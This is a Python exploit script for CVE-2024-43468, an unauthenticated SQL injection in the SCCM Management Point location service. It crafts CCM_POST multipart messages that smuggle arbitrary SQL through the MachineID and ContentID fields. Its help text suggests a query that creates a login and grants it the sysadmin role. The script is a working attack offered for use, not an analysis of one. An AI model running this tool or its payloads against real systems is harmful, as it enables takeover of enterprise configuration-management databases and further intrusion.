#!/usr/bin/env python3 import zlib, requests, argparse, uuid import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class SCCM: unauth_request_endpoint = "/ccm_system/request" dummy_package_id = f"UID:{uuid.uuid4()}" tpl_multipart = b"--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: text/plain; charset=UTF-16\r\n\r\n%b\r\n--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: application/octet-stream\r\n\r\n%b\r\n--aAbBcCdDv1234567890VxXyYzZ--" tpl_updateSFRequest = f"""\x00""" tpl_msg = f"""{{{{00000000-0000-0000-0000-000000000000}}}}{{{{00000000-0000-0000-0000-000000000000}}}}0httpSyncdirect:dummyEndpoint:LS_ReplyLocationsmp:[http]{{TARGET_ENDPOINT}}{{TARGET_ENDPOINT}}{{TARGET}}60000{{MACHINE_ID}}""" tpl_sqli_packageID = f"UID:{uuid.uuid4()}', @ContentVersion = 1; {{QUERY}} ; -- " tpl_sqli_machineID = f"GUID:{uuid.uuid4()}'; {{QUERY}} ; select '1 " def __init__(self, target, key, cert): self._target = target self._pkey = key self._cert = cert def __check_resp(self,r): if r.status_code == 403 and r.reason == 'Forbidden' and self._target.startswith('http://'): print('[!] The Management Point is configured in HTTPS only mode, please use HTTPS instead of HTTP') elif r.status_code == 403 and r.reason == 'Client certificate required': print('[!] The Management Point requires mutual TLS authentication, please provide a client certificate trusted by the internal PKI') elif r.status_code == 200: if 'NoReply'.encode('utf-16-le') in r.content : print('[+] Exploitation success') else: print('[!] Exploitation failed, the Management Point is probably patched') else: print('[?] Unknown state') def __ccm_post(self, path, data): headers = {"User-Agent": "ConfigMgr Messaging HTTP Sender", "Content-Type": 'multipart/mixed; boundary="aAbBcCdDv1234567890VxXyYzZ"'} #print(f">>>> HTTP Request <<<<<\n{data.decode('utf-16-le')}\n") r = requests.request("CCM_POST", f"{self._target}{path}", headers=headers, data=data, verify=False, cert=(self._cert, self._pkey)) print(f">>>> Response : {r.status_code} {r.reason} <<<<<\n{r.text}\n") try: print(zlib.decompress(r.content.split(b'--aAbBcCdDv1234567890VxXyYzZ')[2].split(b'\r\n')[3]).decode('utf-16-le')) except: pass self.__check_resp(r) def __ccm_system_request(self, header, request): multipart_body = self.tpl_multipart % (header.encode("utf-16"), zlib.compress(request)) print(f">>>> Header <<<<<\n{header}\n") print(f">>>> Request <<<<<\n{request.decode()}\n") self.__ccm_post(self.unauth_request_endpoint, multipart_body) def sqli_machineID(self, sql_query): SQLi_machineID = self.tpl_sqli_machineID.format(QUERY=sql_query) request_body = self.tpl_updateSFRequest.format(PACKAGE_ID=self.dummy_package_id) request = b"%s\r\n" % request_body.encode('utf-16')[2:] header = self.tpl_msg.format(LENGTH=len(request) - 2, TARGET=self._target, TARGET_ENDPOINT="MP_LocationManager", MACHINE_ID=SQLi_machineID) self.__ccm_system_request(header, request) def sqli_contentID(self, sql_query, machineid=None): SQLi_contentID = self.tpl_sqli_packageID.format(QUERY=sql_query) request_body = self.tpl_updateSFRequest.format(PACKAGE_ID=SQLi_contentID) request = b"%s\r\n" % request_body.encode('utf-16')[2:] header = self.tpl_msg.format(LENGTH=len(request) - 2, TARGET=self._target, TARGET_ENDPOINT="MP_LocationManager", MACHINE_ID=machineid) self.__ccm_system_request(header, request) if __name__ == "__main__": parser = argparse.ArgumentParser(description="SCCM LocationMgr (MP_Location) Unauthenticated SQL injections - CVE-2024-43468") parser.add_argument("-t", "--target", action="store", required=True, default=None, help="Target (http[s]://sccm-mp.local/)") parser.add_argument("-sql", action="store", required=True, default=None, help="Query to execute through the MachineID SQL injection (e.g create login user123 with password = 'p4sswOrd' ; exec master.dbo.sp_addsrvrolemember 'user123', 'sysadmin' )") parser.add_argument("-machineid", action="store", required=False, default=None, help="A valid MachineID for the second SQL injection via ContentID") parser.add_argument("-k", "--key", action="store", required=False, default=None, help="Private key file for mutual TLS") parser.add_argument("-c", "--cert", action="store", required=False, default=None, help="Certificate file for mutual TLS") options = parser.parse_args() if options.machineid is None: SCCM(options.target, options.key, options.cert).sqli_machineID(options.sql) else: SCCM(options.target, options.key, options.cert).sqli_contentID(options.sql, options.machineid)